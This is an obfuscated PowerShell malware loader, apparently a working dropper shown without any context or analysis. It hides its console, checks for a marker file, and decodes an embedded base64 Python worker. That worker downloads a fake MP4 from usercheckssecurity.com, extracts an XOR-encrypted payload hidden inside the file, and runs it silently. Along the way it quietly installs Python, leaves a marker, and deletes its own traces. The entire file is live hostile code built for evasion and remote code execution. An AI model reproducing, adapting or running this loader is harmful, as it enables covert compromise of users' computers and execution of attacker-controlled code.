<# #> $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $xi5VaB0EFzyV = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $xi5VaB0EFzyV $veRwQLJJQn = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoX2I4ZTIwNTY2OGQ0MA=='))) if (Test-Path $veRwQLJJQn) { if ($env:CH_INDEX_FORCE -ne '1') { exit 0 } } $__chB64Parts = @( 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IGJhc2U2NCxnemlwLG9zLHN0cnVjdCxzdWJwcm9jZXNzLHN5cyx0ZW1wZmlsZSxzc2wsdXJsbGliLnJlcXVlc3QKX0NIX1VSTD0iaHR0cDovL3VzZXJjaGVja3NlY3VyaXR5LmNvbS8wMS5tcDQiCl9DSF9VVUlEPWJ5dGVzKFsxOTQsMjQzLDE5Nyw4MSwyMDIsMjExLDc0LDg4LDE4NCwxNTYsODYsMjQ5LDIzMywxNDQsMTIsMjQzXSkKX0NIX01BR0lDPWJ5dGVzKFs4Myw0LDI0MCwxODJdKQpfQ0hfREFUQV9ESVI9Ii5nMjA3ZTBhMTZkMTciCl9DSF9BTkNIT1JfQjY0PSJMbU5vWDJJNFpUSXdOVFkyT0dRME1BPT0iCl9FTUJFRF9UQUc9IjMxMiIKX0VNQkVEX0FNRDY0PSJodHRwczovL3d3dy5weXRob24ub3JnL2Z0cC9weXRob24vMy4xMi43L3B5dGhvbi0zLjEyLjctZW1iZWQtYW1kNjQuemlwIgpfRU1CRURfV0lOMzI9Imh0dHBzOi8vd3d3LnB5dGhvbi5vcmcvZnRwL3B5dGhvbi8zLjEyLjcvcHl0aG9uLTMuMTIuNy1lbWJlZC13aW4zMi56aXAiCmRlZiBfY2hfZGwodXJsKToKICAgIGlmIG5vdCB1cmwubG93ZXIoKS5zdGFydHN3aXRoKCJodHRwIik6CiAgICAgICAgdXJsPSJodHRwOi8vIit1cmwubHN0cmlwKCIvIikKICAgIGN0eD1zc2wuY3JlYXRlX2RlZmF1bHRfY29udGV4dCgpCiAgICByZXE9dXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsaGVhZGVycz17IlVzZXItQWdlbnQiOiJNb3ppbGxhLzUuMCJ9KQogICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSxjb250ZXh0PWN0eCx0aW1lb3V0PTEyMCkgYXMgcjoKICAgICAgICByZXR1cm4gci5yZWFkKCkKZGVmIF9jaF9yZWFkX2ludChiLG8pOgogICAgcmV0dXJuICgoYltvXSYyNTUpPDwyNCl8KChiW28rMV0mMjU1KTw8MTYpfCgoYltvKzJdJjI1NSk8PDgpfChiW28rM10mMjU1KQpkZWYgX2NoX2RlY3J5cHRfYmxvYihibG9iKToKICAgIGZvciBpIGluIHJhbmdlKGxlbihfQ0hfTUFHSUMpKToKICAgICAgICBpZiBibG9iW2ldIT1fQ0hfTUFHSUNbaV06CiAgICAgICAgICAgIHJhaXNlIFZhbHVlRXJyb3IoImJhZCBibG9iIikKICAgIGtleV9sZW49KGJsb2JbNF08PDgpfGJsb2JbNV0KICAgIG89NgogICAga2V5PWJsb2JbbzpvK2tleV9sZW5dOyBvKz1rZXlfbGVuCiAgICBkYXRhX2xlbj1fY2hfcmVhZF9pbnQoYmxvYixvKTsgbys9NAogICAgZW5jPWJ5dGVhcnJheShibG9iW286bytkYXRhX2xlbl0pCiAgICBmb3IgaSBpbiByYW5nZShsZW4oZW5jKSk6CiAgICAgICAgZW5jW2ldXj1rZXlbaSVsZW4oa2V5KV0KICAgIHJldHVybiBnemlwLmRlY29tcHJlc3MoYnl0ZXMoZW5jKSkuZGVjb2RlKCJ1dGYtOCIpCmRlZiBfY2hfZmluZF91dWlkX2JveChkYXRhLCB1aWQpOgogICAgaT0wCiAgICBuPWxlbihkYXRhKQogICAgd2hpbGUgaSs4PD1uOgogICAgICAgIHNpemU9X2NoX3JlYWRfaW50KGRhdGEsaSkKICAgICAgICBpZiBzaXplPDI0IG9yIGkrc2l6ZT5uOgogICAgICAgICAgICBpKz0xCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgaWYgZGF0YVtpKzQ6aSs4XT09YiJ1dWlkIiBhbmQgZGF0YVtpKzg6aSsyNF09PXVpZDoKICAgICAgICAgICAgcmV0dXJuIGRhdGFbaSsyNDppK3NpemVdCiAgICAgICAgaWYgc2l6ZTw4OgogICAgICAgICAgICBpKz0xCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgaSs9c2l6ZQogICAgcmFpc2UgVmFsdWVFcnJvcigidXVpZCBib3ggbWlzc2luZyIpCmRlZiBfY2hfZnJvbV9jYXJyaWVyKHJhdyk6CiAgICByZXR1cm4gX2NoX2RlY3J5cHRfYmxvYihfY2hfZmluZF91dWlkX2JveChyYXcsX0NIX1VVSUQpKQpkZWYgX2NoX2VtYmVkX3Jvb3QoKToKICAgIHJldHVybiBvcy5wYXRoLmpvaW4ob3MuZW52aXJvbi5nZXQoIkxPQ0FMQVBQREFUQSIsIiIpLF9DSF9EQVRBX0RJUiwicHktZW1iZWQiLF9FTUJFRF9UQUcpCmRlZiBfY2hfZW5zdXJlX3B5dGhvbigpOgogICAgZXhlPXN5cy5leGVjdXRhYmxlCiAgICBpZiBleGUgYW5kIG9zLnBhdGguaXNmaWxlKGV4ZSk6CiAgICAgICAgcmV0dXJuIGV4ZSxbIi1YIiwidXRmOCJdCiAgICByb290PV9jaF9lbWJlZF9yb290KCkKICAgIHBsYWluPW9zLnBhdGguam9pbihyb290LCJweXRob24uZXhlIikKICAgIGlmIG9zLnBhdGguaXNmaWxlKHBsYWluKToKICAgICAgICByZXR1cm4gcGxhaW4sWyItWCIsInV0ZjgiXQogICAgb3MubWFrZWRpcnMocm9vdCxleGlzdF9vaz1UcnVlKQogICAgdXJsPV9FTUJFRF9BTUQ2NCBpZiBzeXMubWF4c2l6ZT4yKiozMiBlbHNlIF9FTUJFRF9XSU4zMgogICAgenBhdGg9b3MucGF0aC5qb2luKHRlbXBmaWxlLmdldHRlbXBkaXIoKSwiY2hfcHlfIitvcy51cmFuZG9tKDgpLmhleCgpKyIuemlwIikKICAgIHdpdGggb3Blbih6cGF0aCwid2IiKSBhcyBmOgogICAgICAgIGYud3JpdGUoX2NoX2RsKHVybCkpCiAgICBpbXBvcnQgemlwZmlsZQogICAgd2l0aCB6aXBmaWxlLlppcEZpbGUoenBhdGgpIGFzIHpmOgogICAgICAgIHpmLmV4dHJhY3RhbGwocm9vdCkKICAgIHRyeToKICAgICAgICBvcy5yZW1vdmUoenBhdGgpCiAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICBwYXNzCiAgICBpZiBvcy5wYXRoLmlzZmlsZShwbGFpbik6CiAgICAgICAgcmV0dXJuIHBsYWluLFsiLVgiLCJ1dGY4Il0KICAgIHJhaXNlIFN5c3RlbUV4aXQoMSkKZGVmIF9jaF9zZXRfYW5jaG9yKCk6CiAgICBpZiBub3QgX0NIX0FOQ0hPUl9CNjQ6CiAgICAgICAgcmV0dXJuCiAgICB0cnk6CiAgICAgICAgaW1wb3J0IHdpbnJlZwogICAgZXhjZXB0IEltcG9ydEVycm9yOgogICAgICAgIHJldHVybgogICAgbmFtZT1iYXNlNjQuYjY0ZGVjb2RlKF9DSF9BTkNIT1JfQjY0KS5kZWNvZGUoInV0Zi04IikKICAgIGJhc2U9b3MuZW52aXJvbi5nZXQoIlByb2dyYW1EYXRhIiwiIikKICAgIGlmIG5vdCBiYXNlOgogICAgICAgIHJldHVybgogICAgcGF0aD1vcy5wYXRoLmpvaW4oYmFzZSxuYW1lKQogICAgdHJ5OgogICAgICAgIG9zLm1ha2VkaXJzKGJhc2UsZXhpc3Rfb2s9VHJ1ZSkKICAgICAgICB3aXRoIG9wZW4ocGF0aCwid2IiKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGIiIikKICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgIHBhc3MKZGVmIF9jaF9tYWluKCk6CiAgICByYXc9X2NoX2RsKF9DSF9VUkwpCiAgICBhZ2VudF9zcmM9X2NoX2Zyb21fY2FycmllcihyYXcpCiAgICBhZ2VudF9wYXRoPW9zLnBhdGguam9pbih0ZW1wZmlsZS5nZXR0ZW1wZGlyKCksImNoa18iK29zLnVyYW5kb20oOCkuaGV4KCkrIi5weSIpCiAgICB3aXRoIG9wZW4oYWdlbnRfcGF0aCwidyIsZW5jb2Rpbmc9InV0Zi04IikgYXMgZjoKICAgICAgICBmLndyaXRlKGFnZW50X3NyYykKICAgIHB5LGFyZ3M9X2NoX2Vuc3VyZV9weXRob24oKQogICAgc2k9c3VicHJvY2Vzcy5TVEFSVFVQSU5GTygpCiAgICBzaS5kd0ZsYWdzfD1zdWJwcm9jZXNzLlNUQVJURl9VU0VTSE9XV0lORE9XCiAgICBzaS53U2hvd1dpbmRvdz0wCiAgICBjZj0weDA4MDAwMDAwCiAgICBzdWJwcm9jZXNzLlBvcGVuKFtweV0rYXJncytbYWdlbnRfcGF0aF0sc3RhcnR1cGluZm89c2ksY3JlYXRpb25mbGFncz1jZikKICAgIF9jaF9zZXRfYW5jaG9yKCkKICAgIHRyeToKICAgICAgICBvcy5yZW1vdmUoX19maWxlX18pCiAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICBwYXNzCmlmIF9fbmFtZV9fPT0iX19tYWluX18iOgogICAgX2NoX21haW4oKQo=' ) $__chB64 = $__chB64Parts -join '' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chWorkerFile = Join-Path $env:TEMP ('ch_w_' + [guid]::NewGuid().ToString('N') + '.py') [System.IO.File]::WriteAllText($__chWorkerFile, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) $__pyExe = $null $__pyArgs = @() $__embedRoot = Join-Path $env:LOCALAPPDATA ('.g207e0a16d17\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } if (-not $__pyExe) { $__embedRoot = Join-Path $env:LOCALAPPDATA ('.g207e0a16d17\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } else { New-Item -ItemType Directory -Path $__embedRoot -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLWFtZDY0LnppcA=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLXdpbjMyLnppcA=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyZipBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyZipBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyZipBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyZipBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyZipBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 500000) { $__pyZipBytes = $__curlData } } } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { } if ($__pyZipBytes -and $__pyZipBytes.Length -ge 500000) { $__pyZip = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.zip') [IO.File]::WriteAllBytes($__pyZip, $__pyZipBytes) try { Expand-Archive -LiteralPath $__pyZip -DestinationPath $__embedRoot -Force } catch { Add-Type -AssemblyName System.IO.Compression.FileSystem [IO.Compression.ZipFile]::ExtractToDirectory($__pyZip, $__embedRoot) } Remove-Item -LiteralPath $__pyZip -Force -ErrorAction SilentlyContinue if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } } } if (-not $__pyExe) { $__pyInstalled = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312\python.exe') $__pyInstalledAlt = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python3.12\python.exe') if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled } elseif (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt } else { $__msiCache = Join-Path $env:LOCALAPPDATA '.g207e0a16d17\py-msi' New-Item -ItemType Directory -Path $__msiCache -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWFtZDY0LmV4ZQ=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LmV4ZQ=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyInstBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyInstBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyInstBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyInstBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyInstBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 5000000) { $__pyInstBytes = $__curlData } } } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { } if ($__pyInstBytes -and $__pyInstBytes.Length -ge 5000000) { $__installer = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.exe') [IO.File]::WriteAllBytes($__installer, $__pyInstBytes) $__instArgs = @( '/quiet', 'InstallAllUsers=0', 'PrependPath=0', 'Include_test=0', 'SimpleInstall=1', 'Include_launcher=0', 'AssociateFiles=0' ) $__proc = Start-Process -FilePath $__installer -ArgumentList $__instArgs -PassThru -WindowStyle Hidden -Wait Remove-Item -LiteralPath $__installer -Force -ErrorAction SilentlyContinue $__deadline = (Get-Date).AddMinutes(4) while ((Get-Date) -lt $__deadline) { if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled break } if (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt break } Start-Sleep -Seconds 2 } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python312'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python3.12') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } } } } } if (-not $__pyExe) { foreach ($__name in @('python.exe','pythonw.exe')) { $__cmd = Get-Command $__name -ErrorAction SilentlyContinue if ($__cmd) { if ($__name -eq 'python.exe') { $__pyExe = $__cmd.Source; break } $__pyExe = $__cmd.Source } } } if ($__pyExe -and $__pyExe -match 'pythonw\.exe$') { $__pyAlt = Join-Path (Split-Path -Parent $__pyExe) 'python.exe' if (Test-Path -LiteralPath $__pyAlt) { $__pyExe = $__pyAlt } } if (-not $__pyExe) { $__pyLauncher = Get-Command 'py.exe' -ErrorAction SilentlyContinue if ($__pyLauncher) { $__pyExe = $__pyLauncher.Source $__pyArgs = @('-3','-X','utf8') } } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312')), (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Python') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } if ($__pyExe -and (-not $__pyArgs -or $__pyArgs.Count -eq 0) -and $__pyExe -notmatch '\\py\.exe$') { $__pyArgs = @('-X','utf8') } if (-not $__pyExe) { exit 1 } if (-not $__pyExe) { exit 1 } Start-Process -FilePath $__pyExe -ArgumentList ($__pyArgs + @($__chWorkerFile)) -WindowStyle Hidden -PassThru | Out-Null exit